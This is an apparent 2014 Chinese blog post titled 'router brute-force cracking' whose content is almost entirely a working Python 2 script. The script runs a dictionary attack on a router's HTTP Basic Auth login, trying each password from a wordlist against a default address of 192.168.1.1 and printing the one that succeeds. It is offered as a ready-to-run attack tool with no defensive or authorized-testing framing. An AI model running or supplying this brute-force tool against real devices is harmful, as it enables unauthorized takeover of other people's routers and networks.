路由器暴力破解

#!/usr/bin/python
# -*- coding: utf-8 -*-

import requests
from BeautifulSoup import BeautifulSoup
import time
import os,sys
import getopt

# 解决Max retries exceeded with url错误
#requests.adapters.DEFAULT_RETRIES = 5

# 设置Headers
headers = {
    'User-Agent':'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6',
    "Host:": "192.168.1.1",
    "Connection":"close",#keep-alive
    "Accept-Encoding": "identity",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"
}

# 从字典文件读取密码,并进行测试
def check_router_password_use_dict(url,user_name,dict_file_name):
    count = 0L
    fp_error_log = open('error_log','w')
    with open(dict_file_name,'r') as fp:
        for line in fp:
            count += 1
            #print line.strip('\n')
            try:
                response = requests.get(url,auth=(user_name,line.strip('\n')),headers=headers)
                #print response.status_code,line.strip('\n')
                print "%-10s %s %s %s" %(count,time.ctime(),response.status_code,line.strip('\n'))
                soup = BeautifulSoup(response.content)
                if response.status_code == 200 and len(soup.title)==1:
                    #print count,time.ctime(),line.strip('\n')
                    print "It's OK ,password is",line.strip('\n')
                    break
            except Exception,e:
                print e
                fp_error_log.writelines(str(e)+os.linesep)
                pass
    fp_error_log.close()


def Usage(own_file_name):
    print "\tUsage:",own_file_name,"-u url -l username -p password_file_path"

if __name__ == "__main__":
    username  = "guest" #default username
    pass_file = ""     #default password file path
    url       = 'http://192.168.1.1' #default router url
    try:
        options,args = getopt.getopt(sys.argv[1:],"hu:l:p:",["help","url=","username=","password_file="])
        for name,value in options:
            if name in ("-h","--help"):
                Usage(sys.argv[0])
                sys.exit()
            if name in ("-l","--username"):
                username = value
            if name in ("-p","--password_file"):
                pass_file = value
            if name in ("-u","--url"):
                url = value
        if os.path.isfile(pass_file):
            check_router_password_use_dict(url,username,pass_file)
        else:
            print u"password file not found,try again..."
            Usage(sys.argv[0])
    except getopt.GetoptError:
        sys.exit()
    except KeyboardInterrupt,e:
        sys.exit()

.

posted @ 2014-04-16 21:45  r3call  阅读(807)  评论(0编辑  收藏  举报